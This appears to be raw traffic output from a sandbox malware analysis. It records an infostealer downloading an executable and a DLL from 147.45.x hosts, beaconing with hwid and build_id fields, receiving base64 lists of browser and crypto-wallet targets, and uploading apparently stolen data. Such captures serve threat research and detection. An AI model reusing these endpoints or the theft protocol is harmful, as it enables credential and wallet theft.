Aug 28, 2024 22:55:14.886910915 CEST	1236	IN	Data Raw: 96 eb 18 28 7e 94 e2 be 58 1d 67 29 6e de e5 52 a9 e5 dc 96 4c e3 d8 05 27 bf cf 73 b6 e5 22 ad d1 51 4f 23 cc 2e 18 35 ca e7 67 e3 8d fe 3b 35 73 36 71 02 3b 5a 79 b9 e2 44 81 11 fb 35 d0 8c 78 70 aa 9b 2d cd 5f ab 75 02 fc fd e4 25 5a bb c1 4b Data Ascii: (~Xg)nRL's"QO#.5g;5s6q;ZyD5xp-_u%ZK(00C;5%ig)9dYY@FDP/fzm-GGi\|3=~*d{>~suZ"GRhSJ[@}s-g)E+ACj'GXlJDd
Aug 28, 2024 22:55:15.523185015 CEST	94	OUT	GET /prog/66cf75d3791d7_vrewqgq.exe HTTP/1.1 Host: 147.45.44.104 Cache-Control: no-cache
Aug 28, 2024 22:55:15.711260080 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:15 GMT Content-Type: application/octet-stream Content-Length: 196136 Last-Modified: Wed, 28 Aug 2024 19:09:07 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66cf75d3-2fe28" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b7 75 cf 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d0 02 00 00 06 00 00 00 00 00 00 5e ee 02 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 03 00 00 02 00 00 ad 77 03 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 08 ee 02 00 53 00 00 00 00 00 03 00 42 02 00 00 00 00 00 00 00 00 00 00 00 d8 02 00 28 26 00 00 00 20 03 00 0c 00 00 00 d0 ec 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELuf^ @ @w`SB(& H.textd `.rsrcB@@.reloc @B@H81Dg1M<ZfHA]R(vX7U"7-O,?v1z?l>^'PL^lSGc}P8oSM[-ffcfHj%na/?rR"]ZjSkWa99\|pyms\|h4X72?4PN83"peocwtjL_KQ@;s?RKGN&cN`p2+YE4/,w."Zy=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49731	147.45.68.138	80	3180	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 28, 2024 22:55:47.236274958 CEST	88	OUT	GET / HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:55:48.183094025 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Aug 28, 2024 22:55:48.189393044 CEST	436	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDHIDAEHCFHJJJJECA Host: 147.45.68.138 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 44 31 45 33 34 31 42 31 37 41 32 39 37 34 31 36 34 32 35 38 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 2d 2d 0d 0a Data Ascii: ------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="hwid"07D1E341B17A2974164258-a33c7340-61ca------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------KEHDHIDAEHCFHJJJJECA--
Aug 28, 2024 22:55:48.756129026 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 37 37 66 63 30 64 30 38 30 30 34 35 33 63 65 65 33 33 32 35 62 63 31 32 66 36 34 65 36 36 38 39 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|77fc0d0800453cee3325bc12f64e6689\|1\|1\|1\|0\|0\|50000\|10
Aug 28, 2024 22:55:48.757371902 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHJKJKKJDHIDHJKJDB Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 37 66 63 30 64 30 38 30 30 34 35 33 63 65 65 33 33 32 35 62 63 31 32 66 36 34 65 36 36 38 39 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 2d 2d 0d 0a Data Ascii: ------AEGHJKJKKJDHIDHJKJDBContent-Disposition: form-data; name="token"77fc0d0800453cee3325bc12f64e6689------AEGHJKJKKJDHIDHJKJDBContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------AEGHJKJKKJDHIDHJKJDBContent-Disposition: form-data; name="mode"1------AEGHJKJKKJDHIDHJKJDB--
Aug 28, 2024 22:55:49.331520081 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Aug 28, 2024 22:55:49.331537008 CEST	486	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Aug 28, 2024 22:55:49.418279886 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Aug 28, 2024 22:55:49.419836998 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDG Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 37 66 63 30 64 30 38 30 30 34 35 33 63 65 65 33 33 32 35 62 63 31 32 66 36 34 65 36 36 38 39 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="token"77fc0d0800453cee3325bc12f64e6689------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="mode"2------IJDHDGDAAAAKFIDGHJDG--
Aug 28, 2024 22:55:49.958664894 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Aug 28, 2024 22:55:49.958682060 CEST	1236	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF8MHwwfEVWRVIgV2FsbG
Aug 28, 2024 22:55:49.958693027 CEST	128	IN	Data Raw: 76 59 57 52 6b 61 57 35 77 61 32 4a 68 61 58 77 78 66 44 46 38 4d 48 78 48 51 58 56 30 61 43 42 42 64 58 52 6f 5a 57 35 30 61 57 4e 68 64 47 39 79 66 44 42 38 61 57 78 6e 59 32 35 6f 5a 57 78 77 59 32 68 75 59 32 56 6c 61 58 42 70 63 47 6c 71 59 Data Ascii: vYWRkaW5wa2JhaXwxfDF8MHxHQXV0aCBBdXRoZW50aWNhdG9yfDB8aWxnY25oZWxwY2huY2VlaXBpcGlqYWxqa2JsYmNvYmx8MXwxfDF8VHJvbml1bXwxfHBubmRwbGN
Aug 28, 2024 22:55:49.964989901 CEST	1236	IN	Data Raw: 69 61 32 46 72 59 33 42 73 61 32 70 75 62 32 78 6e 59 6d 74 6b 5a 32 70 70 61 32 70 6c 5a 47 35 74 66 44 46 38 4d 48 77 77 66 46 52 79 64 58 4e 30 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 56 6e 61 6d 6c 6b 61 6d 4a 77 5a 32 78 70 59 32 68 6b 59 Data Ascii: ia2FrY3Bsa2pub2xnYmtkZ2ppa2plZG5tfDF8MHwwfFRydXN0IFdhbGxldHwxfGVnamlkamJwZ2xpY2hkY29uZGJjYmRuYmVlcHBnZHBofDF8MHwwfEV4b2R1cyBXZWIzIFdhbGxldHwxfGFob2xwZmRpYWxqZ2pmaG9taWhramJtZ2ppZGxjZG5vfDF8MHwwfEJyYWF2b3N8MXxqbmxnYW1lY2JwbWJhampmaG1tbWxoZWprZW
Aug 28, 2024 22:55:49.965003967 CEST	1236	IN	Data Raw: 73 62 32 6c 71 59 6e 42 76 62 47 56 70 59 57 31 68 66 44 46 38 4d 48 77 77 66 45 35 70 5a 32 68 30 62 48 6c 38 4d 58 78 6d 61 57 6c 72 62 32 31 74 5a 47 52 69 5a 57 4e 6a 59 57 39 70 59 32 39 6c 61 6d 39 75 61 57 46 74 62 57 35 68 62 47 74 6d 59 Data Ascii: sb2lqYnBvbGVpYW1hfDF8MHwwfE5pZ2h0bHl8MXxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHwxfGJnam9ncG9pZGVqZGVtZ29vY2hwbmttZGpwb2Nna2hhfDF8MHwwfENvaW5odWJ8MXxqZ2FhaW1hamlwYnBkb2dwZGdsaGFwaGxkYWtpa2dlZnwxfDB8MHxMZWFwIENvc21vcy
Aug 28, 2024 22:55:49.965013981 CEST	128	IN	Data Raw: 78 66 44 42 38 4d 48 78 51 64 57 78 7a 5a 53 42 58 59 57 78 73 5a 58 51 67 51 32 68 79 62 32 31 70 64 57 31 38 4d 58 78 6a 61 57 39 71 62 32 4e 77 61 32 4e 73 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a Data Ascii: xfDB8MHxQdWxzZSBXYWxsZXQgQ2hyb21pdW18MXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHwxfG1rcGVnamt
Aug 28, 2024 22:55:50.046606064 CEST	648	IN	Data Raw: 69 62 47 74 72 5a 57 5a 68 59 32 5a 75 62 57 74 68 61 6d 4e 71 62 57 46 69 61 57 70 6f 59 32 78 6e 66 44 46 38 4d 48 77 77 66 45 4a 68 59 32 74 77 59 57 4e 72 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 46 6d 62 47 74 74 5a 6d 68 6c 59 6d 56 6b 59 Data Ascii: ibGtrZWZhY2ZubWthamNqbWFiaWpoY2xnfDF8MHwwfEJhY2twYWNrIFdhbGxldHwxfGFmbGttZmhlYmVkYmppb2lwZ2xnY2JjbW5icGdsaW9mfDF8MHwwfFRvbmtlZXBlciBXYWxsZXR8MXxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8MXxwZW5qbGRkamtqZ3Bua2xsYm
Aug 28, 2024 22:55:50.047899008 CEST	512	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJ Host: 147.45.68.138 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 37 66 63 30 64 30 38 30 30 34 35 33 63 65 65 33 33 32 35 62 63 31 32 66 36 34 65 36 36 38 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 2d 2d 0d 0a Data Ascii: ------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="token"77fc0d0800453cee3325bc12f64e6689------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="mode"21------JDGIECGIEBKJJJJKEGHJ--
Aug 28, 2024 22:55:50.641016960 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Aug 28, 2024 22:55:50.703010082 CEST	181	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIDHDGCBFBKECBFHCAFH Host: 147.45.68.138 Content-Length: 8173 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:55:50.703069925 CEST	8173	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 37 66 63 30 64 Data Ascii: ------GIDHDGCBFBKECBFHCAFHContent-Disposition: form-data; name="token"77fc0d0800453cee3325bc12f64e6689------GIDHDGCBFBKECBFHCAFHContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------GIDHDGCBFBKECB
Aug 28, 2024 22:55:51.448568106 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 28, 2024 22:55:51.450334072 CEST	95	OUT	GET /sql.dll HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:55:51.635926962 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:51 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Fri, 24 Nov 2023 13:43:06 GMT Connection: keep-alive ETag: "6560a86a-258600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 